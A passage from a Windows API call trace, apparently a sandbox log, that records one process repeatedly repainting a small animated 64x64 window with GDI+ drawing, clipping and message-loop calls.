result=0x15dc50) returned 0x0 [0176.338] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0176.338] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0176.338] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0176.338] GetSystemMetrics (nIndex=42) returned 0 [0176.338] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0176.338] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0176.338] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0176.338] CoTaskMemFree (pv=0x1e91eca0) [0176.338] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0176.338] GdipCreateRegion (region=0x15d710) returned 0x0 [0176.338] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0176.339] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0176.339] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0176.339] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0176.339] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0176.339] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0176.339] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0176.339] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1de43de0, combineMode=0x1) returned 0x0 [0176.339] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0176.339] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0176.340] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0176.340] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0176.340] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0176.340] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0176.340] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0176.340] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0176.340] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0176.340] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0176.340] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0176.340] GetCurrentObject (hdc=0x25010bc1, type=0x1) returned 0x1b00017 [0176.341] GetCurrentObject (hdc=0x25010bc1, type=0x2) returned 0x1900010 [0176.341] GetCurrentObject (hdc=0x25010bc1, type=0x7) returned 0x1a05067e [0176.341] GetCurrentObject (hdc=0x25010bc1, type=0x6) returned 0x18a002e [0176.341] SaveDC (hdc=0x25010bc1) returned 1 [0176.341] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x680407c3 [0176.341] GetClipRgn (hdc=0x25010bc1, hrgn=0x680407c3) returned 0 [0176.341] SelectClipRgn (hdc=0x25010bc1, hrgn=0x38040b8a) returned 2 [0176.341] DeleteObject (ho=0x680407c3) returned 1 [0176.341] DeleteObject (ho=0x38040b8a) returned 1 [0176.341] OffsetViewportOrgEx (in: hdc=0x25010bc1, x=0, y=0, lppt=0x275eaa8 | out: lppt=0x275eaa8) returned 1 [0176.341] GetNearestColor (hdc=0x25010bc1, color=0xffffff) returned 0xffffff [0176.342] CreateSolidBrush (color=0xffffff) returned 0x40100190 [0176.342] FillRect (hDC=0x25010bc1, lprc=0x15d7c0, hbr=0x40100190) returned 1 [0176.342] DeleteObject (ho=0x40100190) returned 1 [0176.342] RestoreDC (hdc=0x25010bc1, nSavedDC=-1) returned 1 [0176.342] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0176.342] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x25010bc1) returned 0x0 [0176.342] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffb660dbd) returned 0x0 [0176.342] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0176.342] GdipDeleteRegion (region=0x1de43de0) returned 0x0 [0176.342] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0176.342] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0176.342] GetSystemMetrics (nIndex=42) returned 0 [0176.343] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0176.343] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0176.343] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0176.343] CoTaskMemFree (pv=0x1e91eca0) [0176.343] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0176.343] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0176.343] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0176.343] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0176.343] BitBlt (hdc=0x2d010b73, x=0, y=0, cx=64, cy=64, hdcSrc=0x25010bc1, x1=0, y1=0, rop=0xcc0020) returned 1 [0176.343] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0176.343] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x25010bc1) returned 0x0 [0176.343] SelectObject (hdc=0x25010bc1, h=0x185000f) returned 0x1a05067e [0176.343] DeleteDC (hdc=0x25010bc1) returned 1 [0176.344] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0176.344] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0176.344] SelectPalette (hdc=0x2d010b73, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0176.344] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0176.344] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0176.344] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0176.344] WaitMessage () returned 1 [0176.456] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0176.456] IsWindowUnicode (hWnd=0x2031e) returned 1 [0176.456] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0176.456] TranslateMessage (lpMsg=0x15e910) returned 0 [0176.456] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0176.457] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0176.457] GetCurrentThreadId () returned 0xec0 [0176.457] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0176.457] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0176.457] IsWindowUnicode (hWnd=0x2031e) returned 1 [0176.457] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0176.457] TranslateMessage (lpMsg=0x15e910) returned 0 [0176.457] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0176.457] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x2d010b73 [0176.458] SelectPalette (hdc=0x2d010b73, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0176.458] CreateCompatibleDC (hdc=0x2d010b73) returned 0x26010bc1 [0176.458] SelectObject (hdc=0x26010bc1, h=0x1a05067e) returned 0x185000f [0176.458] GdipCreateFromHDC (hdc=0x26010bc1, graphics=0x15daf0) returned 0x0 [0176.458] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0176.458] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0176.458] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0176.458] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0176.459] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0176.459] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0176.459] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0176.459] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0176.459] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0176.459] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0176.460] GdipCreateRegion (region=0x15dc20) returned 0x0 [0176.460] GdipGetClip (graphics=0x1de4fd10, region=0x1de43de0) returned 0x0 [0176.460] GdipIsInfiniteRegion (region=0x1de43de0, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0176.460] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0176.460] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0176.460] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0176.460] GetSystemMetrics (nIndex=42) returned 0 [0176.460] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0176.460] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0176.460] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0176.460] CoTaskMemFree (pv=0x1e91eca0) [0176.460] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0176.460] GdipCreateRegion (region=0x15d710) returned 0x0 [0176.460] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0176.460] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0176.461] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0176.461] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0176.461] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0176.461] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0176.461] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0176.461] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1de43de0, combineMode=0x1) returned 0x0 [0176.461] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0176.461] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0176.462] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0176.462] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0176.462] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0176.462] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0176.462] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0176.462] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0176.462] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0176.462] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0176.462] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0176.463] GetCurrentObject (hdc=0x26010bc1, type=0x1) returned 0x1b00017 [0176.463] GetCurrentObject (hdc=0x26010bc1, type=0x2) returned 0x1900010 [0176.463] GetCurrentObject (hdc=0x26010bc1, type=0x7) returned 0x1a05067e [0176.463] GetCurrentObject (hdc=0x26010bc1, type=0x6) returned 0x18a002e [0176.463] SaveDC (hdc=0x26010bc1) returned 1 [0176.463] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x39040b8a [0176.463] GetClipRgn (hdc=0x26010bc1, hrgn=0x39040b8a) returned 0 [0176.463] SelectClipRgn (hdc=0x26010bc1, hrgn=0x690407c3) returned 2 [0176.463] DeleteObject (ho=0x39040b8a) returned 1 [0176.463] DeleteObject (ho=0x690407c3) returned 1 [0176.463] OffsetViewportOrgEx (in: hdc=0x26010bc1, x=0, y=0, lppt=0x275f3e0 | out: lppt=0x275f3e0) returned 1 [0176.463] GetNearestColor (hdc=0x26010bc1, color=0xffffff) returned 0xffffff [0176.464] CreateSolidBrush (color=0xffffff) returned 0x41100190 [0176.464] FillRect (hDC=0x26010bc1, lprc=0x15d7c0, hbr=0x41100190) returned 1 [0176.464] DeleteObject (ho=0x41100190) returned 1 [0176.464] RestoreDC (hdc=0x26010bc1, nSavedDC=-1) returned 1 [0176.464] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0176.464] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x26010bc1) returned 0x0 [0176.464] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffb640dbd) returned 0x0 [0176.464] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0176.464] GdipDeleteRegion (region=0x1de43de0) returned 0x0 [0176.464] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0176.464] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0176.464] GetSystemMetrics (nIndex=42) returned 0 [0176.464] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0176.464] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0176.464] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0176.465] CoTaskMemFree (pv=0x1e91eca0) [0176.465] GdipImageSelectActiveFrame (image=0x1dc21b40, dimensionID=0x15db10*(Data1=0x6aedbd6d, Data2=0x3fb5, Data3=0x418a, Data4=([0]=0x83, [1]=0xa6, [2]=0x7f, [3]=0x45, [4]=0x22, [5]=0x9d, [6]=0xc8, [7]=0x72)), frameIndex=0x1a) returned 0x0 [0176.467] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0176.467] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0176.467] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0176.467] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0176.467] BitBlt (hdc=0x2d010b73, x=0, y=0, cx=64, cy=64, hdcSrc=0x26010bc1, x1=0, y1=0, rop=0xcc0020) returned 1 [0176.467] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0176.467] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x26010bc1) returned 0x0 [0176.467] SelectObject (hdc=0x26010bc1, h=0x185000f) returned 0x1a05067e [0176.467] DeleteDC (hdc=0x26010bc1) returned 1 [0176.467] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0176.467] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0176.468] SelectPalette (hdc=0x2d010b73, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0176.468] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0176.468] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0176.468] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0176.468] WaitMessage () returned 1 [0176.582] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0176.582] IsWindowUnicode (hWnd=0x2031e) returned 1 [0176.582] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0176.582] TranslateMessage (lpMsg=0x15e910) returned 0 [0176.582] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0176.582] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0176.582] GetCurrentThreadId () returned 0xec0 [0176.582] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0176.582] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0176.582] IsWindowUnicode (hWnd=0x2031e) returned 1 [0176.582] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0176.582] TranslateMessage (lpMsg=0x15e910) returned 0 [0176.582] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0176.583] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x2d010b73 [0176.583] SelectPalette (hdc=0x2d010b73, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0176.583] CreateCompatibleDC (hdc=0x2d010b73) returned 0x27010bc1 [0176.583] SelectObject (hdc=0x27010bc1, h=0x1a05067e) returned 0x185000f [0176.583] GdipCreateFromHDC (hdc=0x27010bc1, graphics=0x15daf0) returned 0x0 [0176.583] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0176.583] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0176.584] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0176.584] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0176.584] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0176.584] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0176.584] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0176.584] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0176.585] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0176.585] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0176.585] GdipCreateRegion (region=0x15dc20) returned 0x0 [0176.585] GdipGetClip (graphics=0x1de4fd10, region=0x1d2e7c10) returned 0x0 [0176.585] GdipIsInfiniteRegion (region=0x1d2e7c10, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0176.585] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0176.585] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0176.585] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0176.585] GetSystemMetrics (nIndex=42) returned 0 [0176.585] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0176.585] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0176.585] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0176.585] CoTaskMemFree (pv=0x1e91eca0) [0176.585] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0176.586] GdipCreateRegion (region=0x15d710) returned 0x0 [0176.586] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0176.586] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0176.586] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0176.586] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0176.586] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0176.586] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0176.587] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0176.587] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1d2e7c10, combineMode=0x1) returned 0x0 [0176.587] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0176.587] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0176.587] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0176.587] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0176.588] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0176.588] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0176.588] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0176.588] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0176.588] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0176.588] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0176.588] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0176.588] GetCurrentObject (hdc=0x27010bc1, type=0x1) returned 0x1b00017 [0176.588] GetCurrentObject (hdc=0x27010bc1, type=0x2) returned 0x1900010 [0176.588] GetCurrentObject (hdc=0x27010bc1, type=0x7) returned 0x1a05067e [0176.588] GetCurrentObject (hdc=0x27010bc1, type=0x6) returned 0x18a002e [0176.589] SaveDC (hdc=0x27010bc1) returned 1 [0176.589] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x6a0407c3 [0176.589] GetClipRgn (hdc=0x27010bc1, hrgn=0x6a0407c3) returned 0 [0176.589] SelectClipRgn (hdc=0x27010bc1, hrgn=0x3a040b8a) returned 2 [0176.589] DeleteObject (ho=0x6a0407c3) returned 1 [0176.589] DeleteObject (ho=0x3a040b8a) returned 1 [0176.589] OffsetViewportOrgEx (in: hdc=0x27010bc1, x=0, y=0, lppt=0x27606e0 | out: lppt=0x27606e0) returned 1 [0176.589] GetNearestColor (hdc=0x27010bc1, color=0xffffff) returned 0xffffff [0176.589] CreateSolidBrush (color=0xffffff) returned 0x42100190 [0176.590] FillRect (hDC=0x27010bc1, lprc=0x15d7c0, hbr=0x42100190) returned 1 [0176.590] DeleteObject (ho=0x42100190) returned 1 [0176.590] RestoreDC (hdc=0x27010bc1, nSavedDC=-1) returned 1 [0176.590] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0176.590] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x27010bc1) returned 0x0 [0176.590] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffb620dbd) returned 0x0 [0176.590] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0176.590] GdipDeleteRegion (region=0x1d2e7c10) returned 0x0 [0176.590] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0176.590] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0176.590] GetSystemMetrics (nIndex=42) returned 0 [0176.590] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0176.591] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0176.591] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0176.591] CoTaskMemFree (pv=0x1e91eca0) [0176.591] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0176.591] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0176.591] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0176.591] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0176.591] BitBlt (hdc=0x2d010b73, x=0, y=0, cx=64, cy=64, hdcSrc=0x27010bc1, x1=0, y1=0, rop=0xcc0020) returned 1 [0176.591] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0176.591] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x27010bc1) returned 0x0 [0176.591] SelectObject (hdc=0x27010bc1, h=0x185000f) returned 0x1a05067e [0176.592] DeleteDC (hdc=0x27010bc1) returned 1 [0176.592] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0176.592] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0176.592] SelectPalette (hdc=0x2d010b73, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0176.592] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0176.592] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0176.592] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0176.592] WaitMessage () returned 1 [0176.707] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0176.707] IsWindowUnicode (hWnd=0x2031e) returned 1 [0176.707] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0176.707] TranslateMessage (lpMsg=0x15e910) returned 0 [0176.707] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0176.707] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0176.707] GetCurrentThreadId () returned 0xec0 [0176.707] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0176.707] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0176.707] IsWindowUnicode (hWnd=0x2031e) returned 1 [0176.707] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0176.707] TranslateMessage (lpMsg=0x15e910) returned 0 [0176.708] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0176.708] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x2d010b73 [0176.708] SelectPalette (hdc=0x2d010b73, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0176.708] CreateCompatibleDC (hdc=0x2d010b73) returned 0x28010bc1 [0176.708] SelectObject (hdc=0x28010bc1, h=0x1a05067e) returned 0x185000f [0176.708] GdipCreateFromHDC (hdc=0x28010bc1, graphics=0x15daf0) returned 0x0 [0176.708] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0176.709] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0176.709] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0176.709] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0176.709] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0176.709] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0176.709] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0176.709] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0176.710] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0176.710] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0176.710] GdipCreateRegion (region=0x15dc20) returned 0x0 [0176.710] GdipGetClip (graphics=0x1de4fd10, region=0x1d2e7c10) returned 